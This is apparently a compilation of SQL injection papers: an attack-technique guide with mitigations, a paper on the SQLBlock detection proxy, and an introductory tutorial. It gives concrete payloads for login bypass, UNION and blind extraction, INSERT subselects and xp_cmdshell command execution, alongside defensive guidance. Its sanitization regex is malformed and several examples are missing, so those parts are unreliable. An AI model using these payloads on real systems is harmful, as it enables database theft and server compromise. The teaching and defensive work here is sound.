In order to manipulate the SQL statement successfully input string must contain a single quote ‘ before the
use of first SQL keyword and ends in a WHERE statement that needs single quote appended to it.

Example Application




The code that used these inputs without validations was as follows
try

     {
     objDB = getDBManager();
     sqlQuery = new StringBuffer("SELECT 1 FROM ");
     sqlQuery.append(DBTableName.USERINFO);
     sqlQuery.append(" WHERE USERNAME = '");
     sqlQuery.append(userName);
     sqlQuery.append("' AND PASSWORD = '");
      sqlQuery.append(password);
      sqlQuery.append("'");
                        }

After executing this attack the application awarded the attacker complete access to the application with the
SA role as below.

4.2.2 Basic Union (SQL manipulation)
Most web applications use the SELECT statements to retrieve data from the database. Also in most
situation user inputs would become part of the WHERE clause of these SELECT statements. For example:
SQL = “SELECT Title, Author, Publishing from Books WHERE ISBN = ‘ ” & strInputISBN & “ ‘ ”
Above SQL statement takes strInputISBN string from the user. In basic UNION SQL command injection
attack the input string will give inputs which will not return any result for the original SQL statement but will
return rows of the result set of the SQL statement injected by using UNION ALL. If in the above SQL query
user input is
‘UNION ALL SELECT Price, Quantity From Pricing_Table WHERE ‘ ’ = ‘ ‘
As a result the query formed by the application to be executed on the database will be:
SELECT Title, Author, Publishing from Books WHERE ISBN = ‘ ‘ UNION ALL SELECT Price, Quantity From
Pricing_Table WHERE ‘ ’ = ‘ ‘
What database server does is it tries to search through the Books table for a book that has a blank ISBN
number which is a very unlikely case. This original query will normally not return any results. Then database
the second SELECT statement gets executed which selects all the values from some other table because
the WHERE clause is always satisfied for this second query. Further to that the UNION ALL clause is used
which does not eliminate any rows from the result set and returns all the rows to the hacker.

4.2.3 Finding the role using SELECT(Function call injection)
Many companies provide Press Releases through their portal. Typically the user requests for a press
release would look like this:
http://www.somecompany.com/PressRelase.jsp?PressRealeaseID=5
The corresponding SQL statement used by the application would look like this
Select title, description, releaseDate, body from pressRelease WHERE pressRelaseID=5
The database server returns all the information requested corresponding to the 5th press release. This
information is formatted by the application in an HTML page and provided to the user.

If injected string is 5 AND 1 = 1 and application still returns the same document then application is
susceptible to SQL injection attack.
Ideally an application using methods such as prepared statement would have rejected this value because of
the type mismatch.
This vulnerability can be exploited to know if the application user is dbo on the database by sending request
that would look like this
Select title, description, releaseDate, body from pressRelease WHERE pressRelaseID=5 AND
USER_NAME()=’dbo’ USER_NAME() is MS SQL Server function that returns the name of the current user.
If the current user is ‘dbo’ , the the request would evaluate to true and press rlease would be returned.
Otherwise query would fail and press release would not be displayed.
4.2.4 Finding the USER TABLE using SELECT (Code Injection)

Incase the database server does not support multiple SQL statements such as Oracle. Then to find out
information such as user tables we can use following technique.
Continuing with the example above to identify a user table. The request URL would look like this

    1.   Getting first character of the user table- Step1

         http://www.somecompany.com/PressRelase.jsp?PressRealeaseID=5 AND
         ascii(lower(substring((SELECT TOP 1 name from sysobjects WHERE xtype=’U’), 1,1)))>109
         The subquery (SELECT TOP 1 ..) is asking for the name of the first user table in the database. The
         substring function will return the first character of the user table returned by the query. The lower
         will convert that character to lower case. Finally ascii() function will return the ASCII value of this
         character.
         If the application return the 5 th press release in response to this query then we know that the first
         letter of the first user table starts the character after ‘m’ (ASCII 109) in the alphabet. By making
         multiple requests, we can determine the precise ASCII value.

    2.   Getting first character of the user table-Step 2
         http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
         ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116
         If no press release is returned, the ASCII value is greater than 109 but not greater than 116. So,
         the letter is between “n” (110) and “t” (116).

    3.   Getting first character of the user table-Step 3
         So we continue with our effort to determine the first letter and narrow down further:
         http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
         ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 113
         Another false statement. We now know that the letter is between 110 and 113.

    4.   Getting first character of the user table-Step 4
         http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
         ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 111
         False again. The range is narrowed down to two letters: ‘n’ and ‘o’ (110 and 111).

    5.   Getting first character of the user table-Step 5
         http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
         ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) = 111

The server returns the press release, so the statement is true! The first letter of the query’s result (and the
table’s name) is “o.” To retrieve the second letter, repeat the process “Getting first character of the user
table” step 1 to 5, but change the second argument in the substring() function so that the next character of
the result is extracted: (change underlined)

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP
1 name FROM sysobjects WHERE xtype='U'), 2 , 1))) > 109
Repeat this process until the entire string is extracted.

4.2.5 Parenthesis (SQL manipulation)
If the error message returned by the server contains a parenthesis as in this case where the error message
says Unclosed quotation mark before the character string “ ) ,
Or error message may say that parenthesis is missing. In this case of missing parenthesis, the injection
string may need to contain the parenthesis in the bad value part of it and in the where clause. In some case
one or more parenthesis may need to be added.

4.2.6 Like queries (Code injection)
Many developers tend to write queries using Like clause. The use of Like clause can be guessed by seeing
% or LIKE key words in the database error message.
Example Query: SELECT product_name FROM all_products WHERE product_name like '%Chairs%'

The attacker attempts to manipulate the SQL statement to execute as – SELECT product_name FROM
all_products WHERE product_name like '%'%'

Above query will substitute the input string Chairs to the query and will search for all the records that have
input string any where in the product_name values. If the attacker injects the string shown above in red
attacker would get all the sensitive data.

4.2.7 Column Number Mismatch (Code injection)
Attack using Union statement as shown above. So if the original query is
Example Query: SELECT product_name FROM all_products WHERE product_name like '&Chairs&'
Then the attack would be
SELECT product_name FROM all_products WHERE product_name like '' UNION ALL SELECT 9,9 FROM
SysObjects WHERE ‘’ = ‘’
Above query would give errors that indicate that there is mismatch in the number of columns and their data
type in the union of SysObjects table and the columns that are specified using 9. The error “Operand type
mis-match” is mainly because the data type mis-match in the Union clause caused by the injected string.
Another error we might see is “All queries in an SQL Statement containing a UNION operator must have an
equal number of expressions in their target list” is because the number of columns is not matching.

After multiple trial and errors a statement like this may succeed.
SELECT product_name FROM all_products WHERE product_name like '' UNION ALL SELECT 9,9, 9,’
Text’, 9 FROM SysObjects WHERE ‘’ = ‘’
Result set of the above query will show all the rows in the SysObjects table and will also show constant row
values for each row in the SysObjects table defined in the query.

4.2.8 Additional WHERE clause (Code injection)
Sometimes there may be additional WHERE condition in the SL statement that gets added after the injected
string.
SELECT firstName, LastName, Title from Employees WHERE City = ’ “& strCity &” ‘ AND Country = ‘INDIA’
“
On the first attempt after injecting the string the resulting query would look like
SELECT firstName, LastName, Title from Employees WHERE City = ‘NoSuchCity’ UNION ALL Select
OtherField from OtherTable WHERE 1 = 1 AND Country = ‘USA’
Above query will result in a Error Message like this:
Invalid column Name ‘Country’ because ‘OtherTable’ does not have a column called ‘Country’. To solve this
problem one could use “;--“ to get rid of the rest of the query string in case the backend is MS SQL Server.
If the application is not using MS SQL Server use attack queries in section 3.2.3 to get as much as query
back. If successful in finding the table from which the column in the additional where clause is from then add
that table in the FROM clause.
4.2.9 Table and Field name Enumeration
In case of MS SQL Server sysobjects stores names of all the tables and syscolumns stores corresponding
columns. To get a list of the user tables and corresposnding columns use the following sql query.
Select name from sysobjects where xtype= ‘U’.
Above query will return all the user defined tables that is with xtype = ‘U’ in the database. Suppose there is
need to find out column names for the table “Orders” then get corresponding column names by using the
query
Select name from syscolumns where id = (select id from sysobjects where name = ‘Orders’)

4.3 Exploiting Insert

4.3.1 Insert Basics
Many sites like bulletin boards, shopping cart, user registration take user inputs and store it and then later
display it to other users. Which means essentially users inputs are stored in the back end using INSERT
statement. The abuse of inserts statements by the attacker results in many rows in the database with corrupt
data. If the administrator monitors the database contents then it might get detected. Attacks on the backend
using insert statements are little different from the Select statement.

4.3.2 Injecting subselect
Normally an insert statement looks like this: Insert into TableName Values (‘ValueOne’, ‘valueTwo’,
‘valueThree’);
Suppose the sample SQL statement is used by the application.
INSERT INTO TableName Values (‘ “ & strvalueOne & “ ‘ , ‘ “ & strvalueTwo & “ ‘ )”
And the values that are input by the user are:
Name: ‘ + (SELECT TOP 1 Fieldname from TableName) + ‘
Email: xyz@xyz.com
Phone: 24042364
The resulting SQL statement looks like this
INSERT INTO tableName values (‘ “ ‘ + (SELECT TOP 1 Fieldname FROM tableName ) + ’ ‘ ,
‘xyz@xyz.com’ , ‘240402364’)
Where ever this information displayed to the user typically places like pages where the user are allowed to
edit user information. In the above attack the first value in the FieldName will be displayed in place of the
user name. If TOP 1 is not used , there will be an error message “subselect returned too many rows”.
Attacker can go through all the records using NOT In clause.

4.4 Exploiting System Stored Procedures (Function call)

Most of the databases use stored procedures to perform many database system Administration/ operations.
If attacker is able to inject SQL string successfully then attacker can exploit these stored procedures. The
access to the stored procedures depends on the access privileges of the application user on the database.
Most of the times though a stored procedure is executed successfully, there may not be any output on your
screen as would in case of a normal SQL statement.

For example:
SomeAsp.asp?city=pune’; EXEC master.dbo.xp_cmdshell’ cmd.exe dir c:
Sample stored procedure
4.4.1 Xp_cmdshell
Xp_cmdshell {‘command string’} { , no_output}
Master.dbo.xp_cmdshell takes a single argument, which is the command to be executed at the SQL server’s
user level. This will not be available unless the application user on the database is the system administrator.

4.5 Buffer Overflow vulnerability

Sample of vulnerability in the product like MS SQL Server 2000
A buffer overflow was reported in one of the Database Console Commands (DBCCs) that ship with Microsoft
SQL Server 7.0/2000. This issue may be exploited to execute arbitrary code with the privileges of the SQL
Server process. This vulnerability may be exploited by any authenticated SQL user.



5. Mitigation


Mitigation of SQL injection vulnerability would be taking one of the two paths i.e. either using stored
procedures along with callable statements or using prepared statements with dynamic SQL commands.
Whichever way is adopted the data validation is must.

5.1 Input Validation

5.1.1 Data Sanitization
Data sanitization is key. Best way to sanitize data is to use default deny, regular expression. The following
regular expression would return only letters and numbers
S/[^0-9a-zA-z//g
Write specific filters. As far as possible use numbers, numbers and letters. If there is a need to include
punctuation marks of any kind, convert them by HTML Encoding them. SO that “ become “"” or > becomes
“>” For instance if the user is submitting the E-mail address allow only @, -, . and _ in addition to numbers
and letters to be used and only after they have been converted to their HTML substitutes.

5.2 Use of Prepared statements

The prepared statements should be used when the stored procedures cannot be used for whatever reason
and dynamic SQL commands have to be used.
Use a PreparedStatement to send precompiled SQL statements with one or more parameters. Parameter
place holders in a prepared statement are represented by the ? and are called bind variables. Prepared
statement are generally immune to SQL Injection attacks as the database will use the value of the bind
variable exclusively and not interpret the contents of the variable in any way. PL/SQL and JDBC allow for
prepared statements. Prepared statements should be extensively used for both security and performance
reasons.

5.2.1 How To (Java)
Create a PreparedStatement object by specifying the template definition and parameter placeholders. The
parameter data is inserted into the PreparedStatement object by calling its setXXX methods and specifying
the parameter and its data. The SQL instructions and parameters are sent to the database when the
executeXXX method is called.

This code segment creates a PreparedStatement object to select user data, based on the user's email
address. The question mark ("?") indicates this statement has one parameter.
PreparedStatement pstmt = con.prepareStatement(“select theuser from registration where emailaddress like
?");
//Initialize first parameter with email address
pstmt.setString(1, emailAddress);
ResultSet results = ps.executeQuery();
Once the PreparedStatement template is initialized, only the changed values are inserted for each call.
pstmt.setString(1, anotherEmailAddress);
Note: Not all database drivers compile prepared statements.

5.3 Use Minimum Privileges

Make sure that application user has specific bare minimum rights on the database server. If the application
user on the database uses ROOT/SA/dbadmin/dbo on the database then; it surely needs to be reconsidered
if application user really needs such high amount of privileges or can they be reduced. Do not give the
application user permission to access system stored procedures allow access to the ones that are user
created.

5.4 Stored procedures

To secure an application against SQL injection, developers must never allow client-supplied data to modify
the syntax of SQL statements. In fact, the best protection is to isolate the web application from SQL
altogether. All SQL statements required by the application should be in stored procedures and kept on the
database server. The application should execute the stored procedures using a safe interface such as
Callable statements of JDBC or CommandObject of ADO.

5.5 JDBC’s CallableStatement

Example:

         CallableStatement cs =
         con.prepareCall("{call accountlogin(?,?,?)}");
         cs.setString(1,theuser);
         cs.setString(2,password);
         cs.registerOutParameter(3,Types.DATE);
         cs.executeQuery();
         Date lastLogin = cs.getDate(3);


5.6 ADO’s Command Object.

By using the Command object, database commands can be issued. These commands can be, but are not
limited to, query strings, prepared query strings, and associated parameters with query strings. The
Command object can either open a new connection or use an existing connection to perform queries

Sample Code:
     Sub ParameterExample()
          Dim cmd As New ADODB.Command
          Dim rs As New ADODB.Recordset
          Dim prm As ADODB.Parameter


       ' Set the command's connection using a connection string.
       cmd.ActiveConnection = "DSN=pubs;uid=sa"
      ' Set the command's text, and specify that it is an SQL
     statement.
      cmd.CommandText = "byroyalty" //Name of the stored
     procedure
      cmd.CommandType = adCmdStoredProc //Type is set to invoke
     a stored procedure
       ' Set up a new parameter for the stored procedure.
      Set prm = cmd.CreateParameter("Royalty", adInteger,
     adParamInput, , 50)
     ’ This sets up template for parameter
       cmd.Parameters.Append prm
       ' Create a recordset by executing the command.
       Set rs = cmd.Execute
       ' Loop through the recordset and print the first field.
       Do While Not rs.EOF
            Debug.Print rs(0)
            rs.MoveNext
          Loop
          ' Close the recordset.
          rs.Close
     End Sub

If arbitrary statements (dynamic SQL statements) must be used, use PreparedStatements. Both
PreparedStatements and stored procedures compile the SQL statement before the user input is added,
making it impossible for user input to modify the actual SQL statement.

5.7 Sample Creation of SP

Let’s use pressRelease.jsp as an example.
String query = “SELECT title, description, releaseDate, body FROM pressReleases WHERE
pressReleaseID = “ + request.getParameter(“pressReleaseID”);
Statement stmt = dbConnection.createStatement();
ResultSet rs = stmt.executeQuery(query);
The first step toward securing this code is to take the SQL statement out of the web application and put it in
a stored procedure on the database server.

5.7.1 Create SP-Java
Create a stored procedure as shown below on the database server using client interface.

CREATE PROCEDURE getPressRelease @pressReleaseID integer AS SELECT title, description,
releaseDate, body FROM pressReleases WHERE pressReleaseID = @pressReleaseID

5.7.2 Using Callable Statements -Java
Instead of string building a SQL statement to call the stored procedure, a CallableStatement is created to
safely execute it.

      CallableStatement cs = dbConnection.prepareCall(“{call
      getPressRelease(?)}”); cs.setInt(1,
      Integer.parseInt(request.getParameter(“pressReleaseID”)));
      ResultSet rs = cs.executeQuery();

5.7.3 .Net Example
In a .NET application, the change is similar. This ASP.NET code is vulnerable to SQL injection:




      String query = "SELECT title, description, releaseDate,
      body FROM pressReleases WHERE pressReleaseID = " +
      Request["pressReleaseID"];
      SqlCommand command = new SqlCommand(query,connection);
      command.CommandType = CommandType.Text;
      SqlDataReader dataReader = command.ExecuteReader();

5.7.4 Use command Object -.Net
The SQL statement must be converted to a stored procedure, which can then be accessed safely by a
stored procedure SqlCommand:

      SqlCommand command = new
      SqlCommand("getPressRelease",connection);
      command.CommandType = CommandType.StoredProcedure;
      command.Parameters.Add("@PressReleaseID",SqlDbType.Int);
      command.Parameters[0].Value =
      Convert.ToInt32(Request["pressReleaseID"]);
      SqlDataReader dataReader = command.ExecuteReader();
6. Comparison of database servers


                                                                              Access
                Support to Use of                          Bind
Database                                      INTO/OUTFILE                    to
                Multiple   EXECUTE USERNAME()              Variables/Prepared
Serverparameter                               functions                       system
                statements command                         statements
                                                                              SP

MS SQL Server


Oracle          X         X         X            X                            X


PostgrSQL                 X                                                   X




6.1 Database server tables that are used by Attackers

6.1.1 MS SQL Server
Sysobjects                          syscolumns



6.1.2 Oracle
SYS.USEROBJECTS           SYS.TAB                     SYS.USER_TABLES
SYS.USER_VIEWS            SYS.ALL_TABLES              SYS.USER_CATALOG
SYS.USER_TAB_COLUMNS SYS.USER_CONSTRAINTS SYS.USER_TRIGGERS


6.1.3 MS Access Server
MsysRelationships        MSysACEs       MSysObjects      MSysQueries
SQLBlock: SQL Injection Protection by Variable Normalization of
SQL Statement

"Make everything as simple as possible, but not simpler."
-- Albert Einstein

Abstract. We present here a method to protect from SQL injection attack. The method involve using a
virtual database connectivity drive as well as a special method named “variable normalization” to extract the
basic structure of a SQL statement so that we could use that information to determine if a SQL statement is
allowed to be executed. The method can be used in most scenarios and does not require changing the
source code of database applications (i.e. the CGI web application). The presented method can also be
used for auto-learning the allowable list of SQL statements, which makes the system very easy to setup.
And since the decision of whether a SQL statement is allowed is to check if the normalized statement exists
in our ready-sorted allowable list, the overhead of the system is very minimal.



1. Background


SQL injection [1, 2] is now one of the most common attacks in the Internet. It is an application layer attack to
inject SQL commands along with other valid inputs possibly via web pages. Many web pages take
parameters from web user, and make SQL queries to the database. Take for instance when a user login,
web page ask for user name and password and make SQL query to the database to check if a user has
valid name and password. With SQL injection, it is possible for malicious users to send crafted user name
and/or password field that will change the SQL statement structure and thus allowing the attacker to alert the
intended SQL statement and execute arbitrary SQL commands on the vulnerable system.

For example, consider an e-banking web site login page, the program logic may be expecting a user name
and password. For instance, when the user hit the submit button on the page with user name ‘john’ and
password ‘mysecret’ the program may issue the following SQL command to the database:

      SELECT * FROM user_table
                               WHERE user_id = ‘john’ and password =
      ‘mysecret’

The program then authorized the login if the result returns a non-empty result set.

However, instead of a valid user name and password, a malicious user may input the following password to
by pass the authentication process:

      ‘ or 1=1 --
The SQL command would then become

      SELECT * FROM user_table
                                WHERE user_id = ‘john’ and password = ‘’ or
      1=1 --'

The “or 1=1” basically makes the query to return all the records in the “user_table” and the “--“ comments out
the last ‘ appended by the system. Therefore, the query will return a non-empty result set without any error.

Verifying all SQL statements before sending it to the database server can solve SQL injection problem.
However, since the SQL statements are dynamically created by the web application, every SQL statements
may be different. Therefore, we cannot pre-define the allowable SQL statements in a straightforward way.
For instance, the previous login page will issue

      SELECT * FROM user_table
                                WHERE user_id = ‘john’ and password =
      ‘mysecret’
      SELECT * FROM user_table
                                WHERE user_id = ‘mary’ and password =
      ‘love777’
      SELECT * FROM user_table
                                WHERE user_id = ‘peter’ and password =
      ‘123jump’
      …
      …

The situation becomes worse if the system may add new users to the system.

It is possible to use regular expression to check if the input is of our expected pattern. However, regular
expression is slow, it is not feasible if there are more than 100 SQL statements.

Instead of verifying the SQL statements directly, our invention uses a special method to “normalize” the
variables in a SQL statement. Since client application should only issue SQL statements in a predicable way
(unless the system allow users to issue arbitrary SQL commands), there should be only a limited set of
normalized SQL statements. Therefore, we will be able to verify the normalized SQL statement against a
pre-definable allowable list.

We will explain the detail of variable normalization in Section 2, how we can define the allowable list of SQL
statements in Section 3. In Section 4, we will explain the details of SQLBlock that implements variable
normalization. We will discuss the performance of SQLBlock in Section 5 and will have an overview of other
related technologies in Section 6.
2. Variable Normalization


The propose of variable normalization is try to strip away the variables and get the basic structure of the
SQL statement, so that although the supplied variables differ every time, the basic structure remains the
same. If SQL injection happens, the injection code will change the structure of the SQL statement, and
hence we should be able to detect it.

There are only two types of variables in a SQL statement, strings and numbers. Numbers can further be
sub-categorized as integers and floating point numbers, and they can be positive or negative numbers. As
specified by SQL standards, strings variables are single quoted, numbers are not quoted. In our design, we
will consider quoted numbers to be strings as well. (Ironically, these “variables” are in fact, “constants” in
SQL language terminology.)

To normalize variables in a SQL statement, we will convert all single quoted strings to say, the single
character “a”, and we will convert all positive or negative integer, or floating point numbers to single digit “0”.
We will store the normalized SQL statement in a data structure, called a “rule”, along with its corresponding
pre-normalized variable information, including their types, positions and the original values. The
normalization process will only modify variables, and it will keep everything else un-modified, including SQL
comments, carriage returns, white spaces, or character cases.

Example 1:




Example 2:




3. Defining the allowable list


In order to verify if a normalized SQL statement is allowed, we will need to pre-define an allowable list. The
list is a set of rules that is described in the previous section, but different in a sense that we do not store the
variable values, but the variable requirements instead.

We can define the allowable list manually by defining the normalized SQL statement along with the
requirements of its variables.

For example, we can define three rules in the list




Instead of defining the allowable list manually, which is tedious and error probing. We can also have the
system to “learn” the allowable list by itself. By running the system in “learning” mode, in which the system
will not verify if a SQL statement is allowed, but recording all the SQL statements that go though it.

In learning mode, we will store the variable value as the expected value, i.e. we first assume the variables
are static. This assumption is true until we found another SQL statement with the same normalized form but
with different variable value. Therefore, theoretically we need to “learn” each SQL statement twice;
otherwise, all variables will be assumed to be static.

For example, when we first learn this SQL statement




And then we learn this SQL statement
Since both normalized SQL statement have variable 1 expecting value 0, this expectation is retained.
However, for variable 2, the two expected values are different (“3/14/2004” and “7/20/2004”), we can
perform further analysis to group the two expected values to form a new requirement with say, character set
constrain, or simply do not have any requirement.

If we do not perform the extra analysis after merging with the existing rule, the rule would become




4. SQLBlock Implementation


Since we need to check if the SQL statement executing is authorized or not, we need a way to get the SQL
statement that is executing. This can best be done by implementing as a proxy driver.




Fig 1. SQLBlock architecture

The proxy driver is basically another database connectivity driver (e.g. ODBC driver or JDBC driver), but
instead of passing the database query to the database server directly, the proxy driver calls another
database driver as a client to complete its task. Therefore, the client application should be compatible with
our proxy since the proxy and the original driver conform to the same connectivity driver standard. Hence,
we only need to change the “connection string” which is usually just a configuration parameter in order to
instruct the client application to use the proxy driver instead of original database connectivity driver.

Implementing proxy driver provides another feature. If there is any error executing the SQL commands, the
database server may send error message to the client. However, these messages may be good for debug
during development life cycle, but obviously contain too much information about the database schema, and
are often used by attackers to recon the system [6]. The proxy driver can help to solve this by hiding these
error messages sending back to the client.

To check if a SQL statement is allowed, the proxy driver will normalize the SQL statement, and search if this
statement already exists in our ready-sorted list. If the normalized SQL statement does exist, we will allow
this SQL execution if the variables are within our expectation and block the execution if otherwise.

If the normalized SQL statement is not in the allowable list, the system check against another user supplied
list of regular expressions. If the normalized SQL statement does not match to any regular expression in this
list, we will then block this SQL execution. This design allows the system to handle exceptional case that
might not be compatible with current algorithm of variable normalization. Since system checks against the
regular expression list after variable normalization, therefore, attackers should not be able to by pass the
authorization process. And since most SQL statements do not need to be match against the regular
expression, performance impact should be minimal.
Fig 2. The flow of executing a SQL statement

Example




5. System Limitation


There are some types of SQL statements that cannot be handled by variable normalization effectively. For
example, consider a web page allowing user to select the product type by using a multi-line selection box as
shown in Fig 3.

The client application “may” generate a SQL statement as follows:

      SELECT * FROM tbl_prod WHERE prod_name LIKE ‘%hello%’ AND
      prod_type
      in (‘CD’, ‘DVD’, ‘GAMES’)
And the normalized SQL statement will be

      SELECT * FROM tbl_prod WHERE prod_name LIKE ‘a’ AND
      prod_type in (‘a’,
      ‘a’, ‘a’)




Fig 3. A web page input with a multi-line selection box

However, if the user selects 2 product types only, then the normalized SQL statement will be different (only
two ‘a’ terms at the end)

      SELECT * FROM tbl_prod WHERE prod_name LIKE ‘a’ AND
      prod_type in (‘a’,
      ‘a’)

In order for SQLBlock to be able to handle these SQL statements, SQLBlock has to learn all the variants of
the SQL statement. That is, SQLBlock has to learn all of the 5 SQL statements in this example. This is
practical only if there are limited (and expectable) number of items in the selection box.

Another solution to handle this special type of SQL statement is by regular expression white list. However,
since regular expression operation is much more CPU intensive, and more important, may lead to security
vulnerability if not securely designed, we should only use regular expression if strictly necessary.



6. Performance evaluation


The major tasks for SQLBlock are as follows:

    1.   Normalize the SQL statement
    2.   Search if the normalized SQL statement is in our allowable list
    3.   Match the normalized SQL statement again the regular expression list if it is not in our allowable list

The normalization process is in fact, very simple, we just need to replace all quoted strings with ‘a’ and all
numbers with ‘0’. The program code should be very simple. And since most SQL statements should be only
around 100-1000 bytes long, the normalization process should be negligible.

As for searching the normalized SQL statement, because we will sort the allowable list before use, the
searching is O(log n) operation. For typical database application with less than 1000 SQL actions, the
search time is also negligible.

However, the performance would be greatly affected if there were many SQL statements need to be
authorized by regular expressions. However, since most SQL statements can be handled by variable
normalization, we expect there will only be 5% of SQL statements need to be authorized by regular
expression.



7. Related Technology


SQL injection likes buffer overflow attack, can of cause be solved by better programming practices [3] like
code review, input validation and SQL parameter binding. There are also automatic source code scanning
tools [4] to check for specific class of programming error.

Web base SQL injection attack can also be solved by web application gateway, which implements user input
validation.

Network base intrusion detection tools (e.g. SNORT), can detection certain types of SQL injection attacks
(both at HTTP protocol layer or database connection).

SQLrand [6] protects from SQL injection by randomizing the SQL statement, creating instances of the
language that are unpredictable to the attacker. It is implemented as database server proxy but requires
source code modification.

Parasoft Automated Error Prevention [7] technology protects from SQL injection by ensuring all SQL
statements are executing as parameter binding (JDBC prepareStatement) and are not dynamically created.



8. Conclusion

We presented “variable normalization” for SQL statements, which can extract the basic structure of a SQL
statement. If SQL injection happens, the structure of the SQL statement will be altered and hence
normalized SQL statement will also be altered and we will be able to detect it. We use this method to
implement SQLBlock, a database connectivity layer proxy driver that can block SQL injection attacks.

SQLBlock has very minimal overall performance impact. Theoretically, it works will all database servers
without the need to change the client source code. Auto-learning the allowable list makes the system easy to
deploy even for complex clients that will issue many different SQL commands. And since SQLBlock is a
connectivity layer proxy, it works even for SSL web applications. We believe SQLBlock is an effective and
practical solution to solve this class of attacks.
                               Introduction to SQL Injection

Introduction


It is very hard to understand the conceptual idea of SQL injection without partially understanding the code
that runs in the background. With this paper I hope to explain, with the help of some examples, just how
easy it is to exploit a system with SQL injection and how to defend against it.



Basics


Structured Query Language (SQL) is used for many database systems including Microsoft SQL Server,
Oracle, MySQL and even Microsoft Access in a cut-down version. Because of its extensive use, SQL
injection attacks have a widespread problem throughout not only the internet, but also corporate LAN’s with
bespoke database applications.

SQL is relatively easy to read, a little more difficult to write, but with some very rudimentary knowledge of
how it is constructed SQL injection attacks become child’s play.

There is a necessity to understand the different types of SELECT commands that are mostly used to retrieve
information from a database. Below are some examples of simple SELECT strings, where a result is
retrieved based upon a user inputted value.

Query

       SELECT name FROM names WHERE name = ‘<NAME>’




Database table names.


Name                            Phone                               E-mail

Lee J Lawson                    0131 12345678                       bigdaddy@SQL.com


This line will retrieve the contents of the data field name from the table names, where the input matches a
record. Nothing will be returned if no match is found. If, however, more than one match is found, multiple
records will be retrieved.
Result if input = Lee J Lawson
Lee J Lawson

Query

       SELECT name, phone, email FROM names WHERE email =
       ‘<EMAIL>’


Database table names.


Name                             Phone                                E-mail

Lee J Lawson                     0131 12345678                        bigdaddy@SQL.com


This string is similar to the first although it will return multiple data fields from the record based upon the
inputted value.

Result if input = bigdaddy@SQL.com
Lee J Lawson, 0131 12345678, bigdaddy@SQL.com

Query

       SELECT * FROM customers WHERE name = ‘<NAME>’ AND password
       = ‘<PASSWORD>’


Database name customers.


Name                                   Password                        Account Number

Lee J Lawson                           P@ssw0rd                        123456789


This line is different in that it will return everything, as denoted by the * from the table customers, but only if
the data field name is matched with its related password field. If a match is found for name, but the related
password field is not matched, then nothing is returned.

Query.

       SELECT * FROM customers WHERE name = ‘<NAME>’ OR email =
       ‘<EMAIL>’


Database table Customers.
Name                             Phone                                E-mail

Lee J Lawson                     0131 12345678                        bigdaddy@SQL.com


The above string is important as this is where SQL injection is born. This string will return everything from
the table customers if a match is found for name OR if a match is found for email.

Result if input = bigdaddy@SQL.com
Lee J Lawson, 0131 12345678, bigdaddy@SQL.com

Result if input = Lee J Lawson
Lee J Lawson, 0131 12345678, bigdaddy@SQL.com



Connection Properties


Each and every connection to a database has a number of properties associated with it; these may include
the username and password that the connection is running as. Although an attacker may not be able to see
the properties of the connection, whatever is typed into the user input field is processed at the level of those
credentials. Here is an example connection string:

      Provider=SQLOLEDB.1; Persist Security Info=False; User
      ID=SA; Password=D@tab@se;
      Initial Catalog=CustomerRecords; Data Source=127.0.0.1;
      Workstation ID=win2kAccounts


In the above connection string, the properties show that the users interface is using the SA account with a
password of D@tab@se. This is a massive security problem because of the account being used. The SA
account is the System Administrator, this is the most powerful account on a MS SQL server and is similar to
the Administrator account on a Windows box. Would any administrator allow unknown users on the internet
to connect to one of their servers with the Administrator account? That is exactly what is happening here but
with the SA account. Because of this, any input via a web front for example, would be processed as the
most powerful account available. Therefore, if an attacker inputs malicious code, any number of commands
could be processed at administrator level credentials thereby opening a door into the internal corporate LAN.
Some commands can even traverse out of the SQL server application and start interrogating the Windows
sub-system.



Manipulating the Input


Now that we have seen how query strings are supposed to work, let’s have a look at how we can manipulate
the user input field to pass commands to the database server. First we should look at how the full line of
code is constructed in the background. Imagine we are using a web front end to log onto a database server
to retrieve information. We may have something similar to the following log on prompt:




The point that needs to be understood is where the two user input fields, Username and Password fit into
the SQL query. If they are being used to directly build the query string, then the application is vulnerable to
SQL injection. If the application is using the SA account as its credentials, then the application is not only
vulnerable, but vulnerable in the most extreme manner.

Below, I have given an example of a poorly devised string of code. This code will take the user input fields,
and apply them to a query to interrogate the database.

      SELECT * FROM customers WHERE name = ‘ & name & ’ AND
      password = ‘ & password & ’


The input fields name and password are used directly inside the query so that the processed command
looks like the following:

      SELECT * FROM customers WHERE name = ‘Lee J Lawson’ AND
      password = ‘P@ssw0rd’


This would work with no problems, but now let’s change the user input data…


      SELECT * FROM customers WHERE name = ‘’ OR 1=1 --’ AND
      password = ‘’


The SQL injection script ‘ OR 1=1 -- may allow an attacker to bypass the security and retrieve information
from the database that should not be allowed.

It works as follows:

      SELECT * FROM customers WHERE name = ‘’ OR 1=1--’ AND
      password = ‘’


‘ - Closes the user input field. OR - Continues the SQL query so that the process should equal what came
before OR what comes after. 1=1 - A true statement. -- - Comments out the rest of the line so that it will not
be processed.

So if we look at what this actually means we can see the following:

Select everything from the table customers if the name equals ‘’ (nothing!) or if 1=1. Ignore anything that
follows on this line.

Seeing as 1 will always equal 1, the server has received a true statement and is fooled into allowing an
attacker more access than they should have. The code that refers to the password input field is never run by
the server and therefore does not apply.

This is a very simplistic example of SQL injection, but more powerful commands exist which will allow a very
quick enumeration of the database.
      SELECT name, phone, email FROM users WHERE name = ‘’ OR
      23=23; SELECT * FROM * --‘ AND password =


      ‘’



‘        - Closes the user input field.
OR       - Continues the SQL query so that the process should equal
what came before OR what comes after.
23=23    - A true statement.
;        - Start a new SQL command.
SELECT   - SELECT query
* FROM * - Retrieve every data field from every table in the database.
--       - Comments out the rest of the line so that it will not be
processed.


Pretty much any SQL command will work in this instance. The reason that any command will work is
because the user input is used in the query string, instead of validating the input and then passing it to the
query string, eg:

1 strname = name
  strpassword = password

2 IF len(strname) > 20
  THEN Strname = ‘’
  Msgbox “The name is too long!”
